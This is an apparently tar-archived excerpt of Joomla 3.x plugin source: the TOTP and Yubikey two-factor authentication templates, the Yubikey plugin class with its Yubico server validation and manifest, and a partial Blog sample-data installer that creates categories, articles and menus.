	<div class="span6">
		<p>
			<?php echo JText::_('PLG_TWOFACTORAUTH_TOTP_STEP2_ALTTEXT') ?>
			<br />
			<div id="totp-qrcode"></div>
		</p>
	</div>

	<div class="clearfix"></div>

	<div class="alert alert-info">
		<?php echo JText::_('PLG_TWOFACTORAUTH_TOTP_STEP2_RESET') ?>
	</div>
</fieldset>

<?php if ($new_totp): ?>
<fieldset>
	<legend>
		<?php echo JText::_('PLG_TWOFACTORAUTH_TOTP_STEP3_HEAD') ?>
	</legend>
	<p>
		<?php echo JText::_('PLG_TWOFACTORAUTH_TOTP_STEP3_TEXT') ?>
	</p>
	<div class="control-group">
		<label class="control-label" for="totpsecuritycode">
			<?php echo JText::_('PLG_TWOFACTORAUTH_TOTP_STEP3_SECURITYCODE') ?>
		</label>
		<div class="controls">
			<input type="text" class="input-small" name="jform[twofactor][totp][securitycode]" id="totpsecuritycode" autocomplete="0">
		</div>
	</div>
</fieldset>
<?php endif; ?>
                  twofactorauth/totp/tmpl/index.html                                                                  0000705                 00000000037 15242051520 0013367 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 twofactorauth/index.html                                                                            0000705                 00000000037 15242051520 0011425 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 twofactorauth/yubikey/index.html                                                                    0000705                 00000000037 15242051520 0013106 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 twofactorauth/yubikey/tmpl/index.html                                                               0000705                 00000000037 15242051520 0014062 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 twofactorauth/yubikey/tmpl/form.php                                                                 0000705                 00000002145 15242051520 0013543 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Twofactorauth.yubikey.tmpl
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>
<div class="well">
	<?php echo JText::_('PLG_TWOFACTORAUTH_YUBIKEY_INTRO') ?>
</div>

<?php if ($new_totp): ?>
<fieldset>
	<legend>
		<?php echo JText::_('PLG_TWOFACTORAUTH_YUBIKEY_STEP1_HEAD') ?>
	</legend>

	<p>
		<?php echo JText::_('PLG_TWOFACTORAUTH_YUBIKEY_STEP1_TEXT') ?>
	</p>

	<div class="control-group">
		<label class="control-label" for="yubikeysecuritycode">
			<?php echo JText::_('PLG_TWOFACTORAUTH_YUBIKEY_SECURITYCODE') ?>
		</label>
		<div class="controls">
			<input type="text" class="input-medium" name="jform[twofactor][yubikey][securitycode]" id="yubikeysecuritycode" autocomplete="0">
		</div>
	</div>
</fieldset>
<?php else: ?>
<fieldset>
	<legend>
		<?php echo JText::_('PLG_TWOFACTORAUTH_TOTP_RESET_HEAD') ?>
	</legend>

	<p>
		<?php echo JText::_('PLG_TWOFACTORAUTH_TOTP_RESET_TEXT') ?>
	</p>
</fieldset>
<?php endif; ?>
                                                                                                                                                                                                                                                                                                                                                                                                                           twofactorauth/yubikey/yubikey.php                                                                   0000705                 00000020512 15242051520 0013303 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Twofactorauth.yubikey
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Joomla! Two Factor Authentication using Yubikey Plugin
 *
 * @since  3.2
 */
class PlgTwofactorauthYubikey extends JPlugin
{
	/**
	 * Affects constructor behavior. If true, language files will be loaded automatically.
	 *
	 * @var    boolean
	 * @since  3.2
	 */
	protected $autoloadLanguage = true;

	/**
	 * Method name
	 *
	 * @var    string
	 * @since  3.2
	 */
	protected $methodName = 'yubikey';

	/**
	 * This method returns the identification object for this two factor
	 * authentication plugin.
	 *
	 * @return  stdClass  An object with public properties method and title
	 *
	 * @since   3.2
	 */
	public function onUserTwofactorIdentify()
	{
		$section         = (int) $this->params->get('section', 3);
		$current_section = 0;

		try
		{
			$app = JFactory::getApplication();

			if ($app->isClient('administrator'))
			{
				$current_section = 2;
			}
			elseif ($app->isClient('site'))
			{
				$current_section = 1;
			}
		}
		catch (Exception $exc)
		{
			$current_section = 0;
		}

		if (!($current_section & $section))
		{
			return false;
		}

		return (object) array(
			'method' => $this->methodName,
			'title'  => JText::_('PLG_TWOFACTORAUTH_YUBIKEY_METHOD_TITLE'),
		);
	}

	/**
	 * Shows the configuration page for this two factor authentication method.
	 *
	 * @param   object   $otpConfig  The two factor auth configuration object
	 * @param   integer  $userId     The numeric user ID of the user whose form we'll display
	 *
	 * @return  boolean|string  False if the method is not ours, the HTML of the configuration page otherwise
	 *
	 * @see     UsersModelUser::getOtpConfig
	 * @since   3.2
	 */
	public function onUserTwofactorShowConfiguration($otpConfig, $userId = null)
	{
		if ($otpConfig->method === $this->methodName)
		{
			// This method is already activated. Reuse the same Yubikey ID.
			$yubikey = $otpConfig->config['yubikey'];
		}
		else
		{
			// This methods is not activated yet. We'll need a Yubikey TOTP to setup this Yubikey.
			$yubikey = '';
		}

		// Is this a new TOTP setup? If so, we'll have to show the code validation field.
		$new_totp    = $otpConfig->method !== $this->methodName;

		// Start output buffering
		@ob_start();

		// Include the form.php from a template override. If none is found use the default.
		$path = FOFPlatform::getInstance()->getTemplateOverridePath('plg_twofactorauth_yubikey', true);

		JLoader::import('joomla.filesystem.file');

		if (JFile::exists($path . '/form.php'))
		{
			include_once $path . '/form.php';
		}
		else
		{
			include_once __DIR__ . '/tmpl/form.php';
		}

		// Stop output buffering and get the form contents
		$html = @ob_get_clean();

		// Return the form contents
		return array(
			'method' => $this->methodName,
			'form'   => $html,
		);
	}

	/**
	 * The save handler of the two factor configuration method's configuration
	 * page.
	 *
	 * @param   string  $method  The two factor auth method for which we'll show the config page
	 *
	 * @return  boolean|stdClass  False if the method doesn't match or we have an error, OTP config object if it succeeds
	 *
	 * @see     UsersModelUser::setOtpConfig
	 * @since   3.2
	 */
	public function onUserTwofactorApplyConfiguration($method)
	{
		if ($method !== $this->methodName)
		{
			return false;
		}

		// Get a reference to the input data object
		$input = JFactory::getApplication()->input;

		// Load raw data
		$rawData = $input->get('jform', array(), 'array');

		if (!isset($rawData['twofactor']['yubikey']))
		{
			return false;
		}

		$data = $rawData['twofactor']['yubikey'];

		// Warn if the securitycode is empty
		if (array_key_exists('securitycode', $data) && empty($data['securitycode']))
		{
			try
			{
				JFactory::getApplication()->enqueueMessage(JText::_('PLG_TWOFACTORAUTH_YUBIKEY_ERR_VALIDATIONFAILED'), 'error');
			}
			catch (Exception $exc)
			{
				// This only happens when we are in a CLI application. We cannot
				// enqueue a message, so just do nothing.
			}

			return false;
		}

		// Validate the Yubikey OTP
		$check = $this->validateYubikeyOtp($data['securitycode']);

		if (!$check)
		{
			JFactory::getApplication()->enqueueMessage(JText::_('PLG_TWOFACTORAUTH_YUBIKEY_ERR_VALIDATIONFAILED'), 'error');

			// Check failed. Do not change two factor authentication settings.
			return false;
		}

		// Remove the last 32 digits and store the rest in the user configuration parameters
		$yubikey      = substr($data['securitycode'], 0, -32);

		// Check succeeded; return an OTP configuration object
		$otpConfig    = (object) array(
			'method'  => $this->methodName,
			'config'  => array(
				'yubikey' => $yubikey
			),
			'otep'    => array()
		);

		return $otpConfig;
	}

	/**
	 * This method should handle any two factor authentication and report back
	 * to the subject.
	 *
	 * @param   array  $credentials  Array holding the user credentials
	 * @param   array  $options      Array of extra options
	 *
	 * @return  boolean  True if the user is authorised with this two-factor authentication method
	 *
	 * @since   3.2
	 */
	public function onUserTwofactorAuthenticate($credentials, $options)
	{
		// Get the OTP configuration object
		$otpConfig = $options['otp_config'];

		// Make sure it's an object
		if (empty($otpConfig) || !is_object($otpConfig))
		{
			return false;
		}

		// Check if we have the correct method
		if ($otpConfig->method !== $this->methodName)
		{
			return false;
		}

		// Check if there is a security code
		if (empty($credentials['secretkey']))
		{
			return false;
		}

		// Check if the Yubikey starts with the configured Yubikey user string
		$yubikey_valid = $otpConfig->config['yubikey'];
		$yubikey       = substr($credentials['secretkey'], 0, -32);

		$check = $yubikey === $yubikey_valid;

		if ($check)
		{
			$check = $this->validateYubikeyOtp($credentials['secretkey']);
		}

		return $check;
	}

	/**
	 * Validates a Yubikey OTP against the Yubikey servers
	 *
	 * @param   string  $otp  The OTP generated by your Yubikey
	 *
	 * @return  boolean  True if it's a valid OTP
	 *
	 * @since   3.2
	 */
	public function validateYubikeyOtp($otp)
	{
		$server_queue = array(
			'api.yubico.com',
			'api2.yubico.com',
			'api3.yubico.com',
			'api4.yubico.com',
			'api5.yubico.com',
		);

		shuffle($server_queue);

		$gotResponse = false;
		$check       = false;

		$token = JSession::getFormToken();
		$nonce = md5($token . uniqid(mt_rand()));

		while (!$gotResponse && !empty($server_queue))
		{
			$server = array_shift($server_queue);
			$uri    = new JUri('https://' . $server . '/wsapi/2.0/verify');

			// I don't see where this ID is used?
			$uri->setVar('id', 1);

			// The OTP we read from the user
			$uri->setVar('otp', $otp);

			// This prevents a REPLAYED_OTP status of the token doesn't change
			// after a user submits an invalid OTP
			$uri->setVar('nonce', $nonce);

			// Minimum service level required: 50% (at least 50% of the YubiCloud
			// servers must reply positively for the OTP to validate)
			$uri->setVar('sl', 50);

			// Timeou waiting for YubiCloud servers to reply: 5 seconds.
			$uri->setVar('timeout', 5);

			try
			{
				$http     = JHttpFactory::getHttp();
				$response = $http->get($uri->toString(), null, 6);

				if (!empty($response))
				{
					$gotResponse = true;
				}
				else
				{
					continue;
				}
			}
			catch (Exception $exc)
			{
				// No response, continue with the next server
				continue;
			}
		}

		// No server replied; we can't validate this OTP
		if (!$gotResponse)
		{
			return false;
		}

		// Parse response
		$lines = explode("\n", $response->body);
		$data  = array();

		foreach ($lines as $line)
		{
			$line  = trim($line);
			$parts = explode('=', $line, 2);

			if (count($parts) < 2)
			{
				continue;
			}

			$data[$parts[0]] = $parts[1];
		}

		// Validate the response - We need an OK message reply
		if ($data['status'] !== 'OK')
		{
			return false;
		}

		// Validate the response - We need a confidence level over 50%
		if ($data['sl'] < 50)
		{
			return false;
		}

		// Validate the response - The OTP must match
		if ($data['otp'] !== $otp)
		{
			return false;
		}

		// Validate the response - The token must match
		if ($data['nonce'] !== $nonce)
		{
			return false;
		}

		return true;
	}
}
                                                                                                                                                                                      twofactorauth/yubikey/yubikey.xml                                                                   0000705                 00000002564 15242051520 0013323 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="twofactorauth" method="upgrade">
	<name>plg_twofactorauth_yubikey</name>
	<author>Joomla! Project</author>
	<creationDate>September 2013</creationDate>
	<copyright>(C) 2013 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.2.0</version>
	<description>PLG_TWOFACTORAUTH_YUBIKEY_XML_DESCRIPTION</description>
	<files>
		<filename plugin="yubikey">yubikey.php</filename>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_twofactorauth_yubikey.ini</language>
		<language tag="en-GB">en-GB.plg_twofactorauth_yubikey.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="section"
					type="radio"
					label="PLG_TWOFACTORAUTH_YUBIKEY_SECTION_LABEL"
					description="PLG_TWOFACTORAUTH_YUBIKEY_SECTION_DESC"
					default="3"
					filter="integer"
					class="btn-group"
					>
					<option value="1">PLG_TWOFACTORAUTH_YUBIKEY_SECTION_SITE</option>
					<option value="2">PLG_TWOFACTORAUTH_YUBIKEY_SECTION_ADMIN</option>
					<option value="3">PLG_TWOFACTORAUTH_YUBIKEY_SECTION_BOTH</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                                            sampledata/blog/blog.php                                                                            0000705                 00000076003 15242051520 0011236 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Sampledata.Blog
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Session\Session;

/**
 * Sampledata - Blog Plugin
 *
 * @since  3.8.0
 */
class PlgSampledataBlog extends JPlugin
{
	/**
	 * Database object
	 *
	 * @var    JDatabaseDriver
	 *
	 * @since  3.8.0
	 */
	protected $db;

	/**
	 * Application object
	 *
	 * @var    JApplicationCms
	 *
	 * @since  3.8.0
	 */
	protected $app;

	/**
	 * Affects constructor behavior. If true, language files will be loaded automatically.
	 *
	 * @var    boolean
	 *
	 * @since  3.8.0
	 */
	protected $autoloadLanguage = true;

	/**
	 * Holds the menuitem model
	 *
	 * @var    MenusModelItem
	 *
	 * @since  3.8.0
	 */
	private $menuItemModel;

	/**
	 * Get an overview of the proposed sampledata.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since  3.8.0
	 */
	public function onSampledataGetOverview()
	{
		if (!Factory::getUser()->authorise('core.create', 'com_content'))
		{
			return;
		}

		$data              = new stdClass;
		$data->name        = $this->_name;
		$data->title       = JText::_('PLG_SAMPLEDATA_BLOG_OVERVIEW_TITLE');
		$data->description = JText::_('PLG_SAMPLEDATA_BLOG_OVERVIEW_DESC');
		$data->icon        = 'broadcast';
		$data->steps       = 3;

		return $data;
	}

	/**
	 * First step to enter the sampledata. Content.
	 *
	 * @return  array or void  Will be converted into the JSON response to the module.
	 *
	 * @since  3.8.0
	 */
	public function onAjaxSampledataApplyStep1()
	{
		if (!Session::checkToken('get') || $this->app->input->get('type') != $this->_name)
		{
			return;
		};

		if (!JComponentHelper::isEnabled('com_content') || !Factory::getUser()->authorise('core.create', 'com_content'))
		{
			$response            = array();
			$response['success'] = true;
			$response['message'] = JText::sprintf('PLG_SAMPLEDATA_BLOG_STEP_SKIPPED', 1, 'com_content');

			return $response;
		}

		// Get some metadata.
		$access = (int) $this->app->get('access', 1);
		$user   = JFactory::getUser();

		// Detect language to be used.
		$language   = Multilanguage::isEnabled() ? JFactory::getLanguage()->getTag() : '*';
		$langSuffix = ($language !== '*') ? ' (' . $language . ')' : '';

		// Add Include Paths.
		JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_content/models/', 'ContentModel');
		JTable::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_content/tables/');
		JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_categories/models/', 'CategoriesModel');
		JTable::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_categories/tables/');

		// Create "blog" category.
		$categoryModel = JModelLegacy::getInstance('Category', 'CategoriesModel');
		$catIds        = array();
		$categoryTitle = JText::_('PLG_SAMPLEDATA_BLOG_SAMPLEDATA_CONTENT_CATEGORY_0_TITLE');
		$alias         = JApplicationHelper::stringURLSafe($categoryTitle);

		// Set unicodeslugs if alias is empty
		if (trim(str_replace('-', '', $alias) == ''))
		{
			$unicode = JFactory::getConfig()->set('unicodeslugs', 1);
			$alias = JApplicationHelper::stringURLSafe($categoryTitle);
			JFactory::getConfig()->set('unicodeslugs', $unicode);
		}

		$category      = array(
			'title'           => $categoryTitle . $langSuffix,
			'parent_id'       => 1,
			'id'              => 0,
			'published'       => 1,
			'access'          => $access,
			'created_user_id' => $user->id,
			'extension'       => 'com_content',
			'level'           => 1,
			'alias'           => $alias . $langSuffix,
			'associations'    => array(),
			'description'     => '',
			'language'        => $language,
			'params'          => '',
		);

		try
		{
			if (!$categoryModel->save($category))
			{
				throw new Exception($categoryModel->getError());
			}
		}
		catch (Exception $e)
		{
			$response            = array();
			$response['success'] = false;
			$response['message'] = JText::sprintf('PLG_SAMPLEDATA_BLOG_STEP_FAILED', 1, $e->getMessage());

			return $response;
		}

		// Get ID from category we just added
		$catIds[] = $categoryModel->getItem()->id;

		// Create "help" category.
		$categoryTitle = JText::_('PLG_SAMPLEDATA_BLOG_SAMPLEDATA_CONTENT_CATEGORY_1_TITLE');
		$alias         = JApplicationHelper::stringURLSafe($categoryTitle);

		// Set unicodeslugs if alias is empty
		if (trim(str_replace('-', '', $alias) == ''))
		{
			$unicode = JFactory::getConfig()->set('unicodeslugs', 1);
			$alias = JApplicationHelper::stringURLSafe($categoryTitle);
			JFactory::getConfig()->set('unicodeslugs', $unicode);
		}

		$category      = array(
			'title'           => $categoryTitle . $langSuffix,
			'parent_id'       => 1,
			'id'              => 0,
			'published'       => 1,
			'access'          => $access,
			'created_user_id' => $user->id,
			'extension'       => 'com_content',
			'level'           => 1,
			'alias'           => $alias . $langSuffix,
			'associations'    => array(),
			'description'     => '',
			'language'        => $language,
			'params'          => '',
		);

		try
		{
			if (!$categoryModel->save($category))
			{
				throw new Exception($categoryModel->getError());
			}
		}
		catch (Exception $e)
		{
			$response            = array();
			$response['success'] = false;
			$response['message'] = JText::sprintf('PLG_SAMPLEDATA_BLOG_STEP_FAILED', 1, $e->getMessage());

			return $response;
		}

		// Get ID from category we just added
		$catIds[] = $categoryModel->getItem()->id;

		// Create Articles.
		$articleModel = JModelLegacy::getInstance('Article', 'ContentModel');
		$articles     = array(
			array(
				'catid'    => $catIds[1],
				'ordering' => 2,
			),
			array(
				'catid'    => $catIds[1],
				'ordering' => 1,
				'access'   => 3,
			),
			array(
				'catid'    => $catIds[0],
				'ordering' => 2,
			),
			array(
				'catid'    => $catIds[0],
				'ordering' => 1,
			),
			array(
				'catid'    => $catIds[0],
				'ordering' => 0,
			),
			array(
				'catid'    => $catIds[0],
				'ordering' => 0,
			),
		);

		foreach ($articles as $i => $article)
		{
			// Set values from language strings.
			$title                = JText::_('PLG_SAMPLEDATA_BLOG_SAMPLEDATA_CONTENT_ARTICLE_' . $i . '_TITLE');
			$alias                = JApplicationHelper::stringURLSafe($title);
			$article['title']     = $title . $langSuffix;
			$article['introtext'] = JText::_('PLG_SAMPLEDATA_BLOG_SAMPLEDATA_CONTENT_ARTICLE_' . $i . '_INTROTEXT');
			$article['fulltext']  = JText::_('PLG_SAMPLEDATA_BLOG_SAMPLEDATA_CONTENT_ARTICLE_' . $i . '_FULLTEXT');

			// Set values which are always the same.
			$article['id']              = 0;
			$article['created_user_id'] = $user->id;
			$article['alias']           = JApplicationHelper::stringURLSafe($article['title']);

			// Set unicodeslugs if alias is empty
			if (trim(str_replace('-', '', $alias) == ''))
			{
				$unicode = JFactory::getConfig()->set('unicodeslugs', 1);
				$article['alias'] = JApplicationHelper::stringURLSafe($article['title']);
				JFactory::getConfig()->set('unicodeslugs', $unicode);
			}

			$article['language']        = $language;
			$article['associations']    = array();
			$article['state']           = 1;
			$article['featured']        = 0;
			$article['images']          = '';
			$article['metakey']         = '';
			$article['metadesc']        = '';
			$article['xreference']      = '';

			if (!isset($article['access']))
			{
				$article['access'] = $access;
			}

			if (!$articleModel->save($article))
			{
				JFactory::getLanguage()->load('com_content');
				$response            = array();
				$response['success'] = false;
				$response['message'] = JText::sprintf('PLG_SAMPLEDATA_BLOG_STEP_FAILED', 1, JText::_($articleModel->getError()));

				return $response;
			}

			// Get ID from article we just added
			$ids[] = $articleModel->getItem()->id;
		}

		$this->app->setUserState('sampledata.blog.articles', $ids);
		$this->app->setUserState('sampledata.blog.articles.catids', $catIds);

		$response          = new stdClass;
		$response->success = true;
		$response->message = JText::_('PLG_SAMPLEDATA_BLOG_STEP1_SUCCESS');

		return $response;
	}

	/**
	 * Second step to enter the sampledata. Menus.
	 *
	 * @return  array or void  Will be converted into the JSON response to the module.
	 *
	 * @since  3.8.0
	 */
	public function onAjaxSampledataApplyStep2()
	{
		if (!Session::checkToken('get') || $this->app->input->get('type') != $this->_name)
		{
			return;
		}

		if (!JComponentHelper::isEnabled('com_menus') || !Factory::getUser()->authorise('core.create', 'com_menus'))
		{
			$response            = array();
			$response['success'] = true;
			$response['message'] = JText::sprintf('PLG_SAMPLEDATA_BLOG_STEP_SKIPPED', 2, 'com_menus');

			return $response;
		}

		// Detect language to be used.
		$language   = Multilanguage::isEnabled() ? JFactory::getLanguage()->getTag() : '*';
		$langSuffix = ($language !== '*') ? ' (' . $language . ')' : '';

		// Create the menu types.
		$menuTable = JTable::getInstance('Type', 'JTableMenu');
		$menuTypes = array();

		for ($i = 0; $i <= 2; $i++)
		{
			$menu = array(
				'id'          => 0,
				'title'       => JText::_('PLG_SAMPLEDATA_BLOG_SAMPLEDATA_MENUS_MENU_' . $i . '_TITLE') . $langSuffix,
				'description' => JText::_('PLG_SAMPLEDATA_BLOG_SAMPLEDATA_MENUS_MENU_' . $i . '_DESCRIPTION'),
			);

			// Calculate menutype. The number of characters allowed is 24.
			$type = JHtml::_('string.truncate', $menu['title'], 23, true, false);

			$menu['menutype'] = $i . $type;

			try
			{
				$menuTable->load();
				$menuTable->bind($menu);

				if (!$menuTable->check())
				{
					throw new Exception($menuTable->getError());
				}

				$menuTable->store();
			}
			catch (Exception $e)
			{
				JFactory::getLanguage()->load('com_menus');
				$response            = array();
				$response['success'] = false;
				$response['message'] = JText::sprintf('PLG_SAMPLEDATA_BLOG_STEP_FAILED', 2, $e->getMessage());

				return $response;
			}

			$menuTypes[] = $menuTable->menutype;
		}

		// Storing IDs in UserState for later usage.
		$this->app->setUserState('sampledata.blog.menutypes', $menuTypes);

		// Get previously entered Data from UserStates.
		$articleIds = $this->app->getUserState('sampledata.blog.articles');

		// Get MenuItemModel.
		JLoader::register('MenusHelper', JPATH_ADMINISTRATOR . '/components/com_menus/helpers/menus.php');
		JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_menus/models/', 'MenusModel');
		JTable::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_menus/tables/');
		$this->menuItemModel = JModelLegacy::getInstance('Item', 'MenusModel');

		// Get previously entered categories ids
		$catids = $this->app->getUserState('sampledata.blog.articles.catids');

		// Insert menuitems level 1.
		$menuItems = array(
			array(
				'menutype'     => $menuTypes[0],
				'title'        => JText::_('PLG_SAMPLEDATA_BLOG_SAMPLEDATA_MENUS_ITEM_0_TITLE'),
				'link'         => 'index.php?option=com_content&view=category&layout=blog&id=' . $catids[0],
				'component_id' => 22,
				'params'       => array(
					'layout_type'             => 'blog',
					'show_category_title'     => 0,
					'num_leading_articles'    => 4,
					'num_intro_articles'      => 0,
					'num_columns'             => 1,
					'num_links'               => 2,
					'multi_column_order'      => 1,
					'orderby_sec'             => 'rdate',
					'order_date'              => 'published',
					'show_pagination'         => 2,
					'show_pagination_results' => 1,
					'show_category'           => 0,
					'info_bloc_position'      => 0,
					'show_publish_date'       => 0,
					'show_hits'               => 0,
					'show_feed_link'          => 1,
					'menu_text'               => 1,
					'show_page_heading'       => 0,
					'secure'                  => 0,
				),
			),
			array(
				'menutype'     => $menuTypes[0],
				'title'        => JText::_('PLG_SAMPLEDATA_BLOG_SAMPLEDATA_MENUS_ITEM_1_TITLE'),
				'link'         => 'index.php?option=com_content&view=article&id=' . $articleIds[0],
				'component_id' => 22,
				'params'       => array(
					'info_block_position' => 0,
					'show_category'       => 0,
					'link_category'       => 0,
					'show_author'         => 0,
					'show_create_date'    => 0,
					'show_publish_date'   => 0,
					'show_hits'           => 0,
					'menu_text'           => 1,
					'show_page_heading'   => 0,
					'secure'              => 0,
				),
			),
			array(
				'menutype'     => $menuTypes[0],
				'title'        => JText::_('PLG_SAMPLEDATA_BLOG_SAMPLEDATA_MENUS_ITEM_2_TITLE'),
				'link'         => 'index.php?option=com_users&view=login',
				'component_id' => 25,
				'params'       => array(
					'logindescription_show'  => 1,
					'logoutdescription_show' => 1,
					'menu_text'              => 1,
					'show_page_heading'      => 0,
					'secure'                 => 0,
				),
			),
			array(
				'menutype'     => $menuTypes[1],
				'title'        => JText::_('PLG_SAMPLEDATA_BLOG_SAMPLEDATA_MENUS_ITEM_3_TITLE'),
				'link'         => 'index.php?option=com_content&view=form&layout=edit',
				'component_id' => 22,
				'access'       => 3,
				'params'       => array(
					'enable_category'   => 1,
					'catid'             => $catids[0],
					'menu_text'         => 1,
					'show_page_heading' => 0,
					'secure'            => 0,
				),
			),
			array(
				'menutype'     => $menuTypes[1],
				'title'        => JText::_('PLG_SAMPLEDATA_BLOG_SAMPLEDATA_MENUS_ITEM_4_TITLE'),
				'link'         => 'index.php?option=com_content&view=article&id=' . $articleIds[1],
				'component_id' => 22,
				'params'       => array(
					'menu_text'         => 1,
					'show_page_heading' => 0,
					'secure'            => 0,
				),
			),
			array(
				'menutype'     => $menuTypes[1],
				'title'        => JText::_('PLG_SAMPLEDATA_BLOG_SAMPLEDATA_MENUS_ITEM_5_TITLE'),
				'link'         => 'administrator',
				'type'         => 'url',
				'component_id' => 0,
				'browserNav'   => 1,
				'access'       => 3,
				'params'       => array(
					'menu_text' => 1,
				),
			),
			array(
				'menutype'     => $menuTypes[1],
				'title'        => JText::_('PLG_SAMPLEDATA_BLOG_SAMPLEDATA_MENUS_ITEM_6_TITLE'),
				'link'         => 'index.php?option=com_users&view=profile&layout=edit',
				'component_id' => 25,
				'access'       => 2,
				'params'       => array(
					'menu_text'         => 1,
					'show_page_heading' => 0,
					'secure'            => 0,
				),
			),
			array(
				'menutype'     => $menuTypes[1],
				'title'        => JText::_('PLG_SAMPLEDATA_BLOG_SAMPLEDATA_MENUS_ITEM_7_TITLE'),
				'link'         => 'index.php?option=com_users&view=login',
				'component_id' => 25,
				'params'       => array(
					'logindescription_show'  => 1,
					'logoutdescription_show' => 1,
					'menu_text'              => 1,
					'show_page_heading'      => 0,
					'secure'                 => 0,
				),
			),
		);

		try
		{
			$menuIdsLevel1 = $this->addMenuItems($menuItems, 1);
		}
		catch (Exception $e)
		{
			$response            = array();
			$response['success'] = false;
			$response['message'] = JText::sprintf('PLG_SAMPLEDATA_BLOG_STEP_FAILED', 2, $e->getMessage());

			return $response;
		}

		// Insert another level 1.
		$menuItems = array(
			array(
				'menutype'     => $menuTypes[2],
				'title'        => JText::_('PLG_SAMPLEDATA_BLOG_SAMPLEDATA_MENUS_ITEM_8_TITLE'),
				'link'         => 'index.php?option=com_users&view=login',
				'component_id' => 25,
				'params'       => array(
					'login_redirect_url'     => 'index.php?Itemid=' . $menuIdsLevel1[0],
					'logindescription_show'  => 1,
					'logoutdescription_show' => 1,
					'menu_text'              => 1,
					'show_page_heading'      => 0,
					'secure'                 => 0,
				),
			),
		);

		try
		{
			$menuIdsLevel1 = array_merge($menuIdsLevel1, $this->addMenuItems($menuItems, 1));
		}
		catch (Exception $e)
		{
			$response            = array();
			$response['success'] = false;
			$response['message'] = JText::sprintf('PLG_SAMPLEDATA_BLOG_STEP_FAILED', 2, $e->getMessage());

			return $response;
		}

		// Insert menuitems level 2.
		$menuItems = array(
			array(
				'menutype'     => $menuTypes[1],
				'title'        => JText::_('PLG_SAMPLEDATA_BLOG_SAMPLEDATA_MENUS_ITEM_9_TITLE'),
				'link'         => 'index.php?option=com_config&view=config&controller=config.display.config',
				'parent_id'    => $menuIdsLevel1[4],
				'component_id' => 23,
				'access'       => 6,
				'params'       => array(
					'menu_text'         => 1,
					'show_page_heading' => 0,
					'secure'            => 0,
				),
			),
			array(
				'menutype'     => $menuTypes[1],
				'title'        => JText::_('PLG_SAMPLEDATA_BLOG_SAMPLEDATA_MENUS_ITEM_10_TITLE'),
				'link'         => 'index.php?option=com_config&view=templates&controller=config.display.templates',
				'parent_id'    => $menuIdsLevel1[4],
				'component_id' => 23,
				'params'       => array(
					'menu_text'         => 1,
					'show_page_heading' => 0,
					'secure'            => 0,
				),
			),
		);

		try
		{
			$this->addMenuItems($menuItems, 2);
		}
		catch (Exception $e)
		{
			$response            = array();
			$response['success'] = false;
			$response['message'] = JText::sprintf('PLG_SAMPLEDATA_BLOG_STEP_FAILED', 2, $e->getMessage());

			return $response;
		}

		$response            = array();
		$response['success'] = true;
		$response['message'] = JText::_('PLG_SAMPLEDATA_BLOG_STEP2_SUCCESS');

		return $response;
	}

	/**
	 * Third step to enter the sampledata. Modules.
	 *
	 * @return  array or void  Will be converted into the JSON response to the module.
	 *
	 * @since  3.8.0
	 */
	public function onAjaxSampledataApplyStep3()
	{
		if (!Session::checkToken('get') || $this->app->input->get('type') != $this->_name)
		{
			return;
		}

		if (!JComponentHelper::isEnabled('com_modules') || !Factory::getUser()->authorise('core.create', 'com_modules'))
		{
			$response            = array();
			$response['success'] = true;
			$response['message'] = JText::sprintf('PLG_SAMPLEDATA_BLOG_STEP_SKIPPED', 3, 'com_modules');

			return $response;
		}

		// Detect language to be used.
		$language   = Multilanguage::isEnabled() ? JFactory::getLanguage()->getTag() : '*';
		$langSuffix = ($language !== '*') ? ' (' . $language . ')' : '';

		// Add Include Paths.
		JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_modules/models/', 'ModulesModelModule');
		JTable::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_modules/tables/');
		$model  = JModelLegacy::getInstance('Module', 'ModulesModel');
		$access = (int) $this->app->get('access', 1);

		// Get previously entered Data from UserStates
		$menuTypes = $this->app->getUserState('sampledata.blog.menutypes');

		$catids = $this->app->getUserState('sampledata.blog.articles.catids');

		$modules = array(
			array(
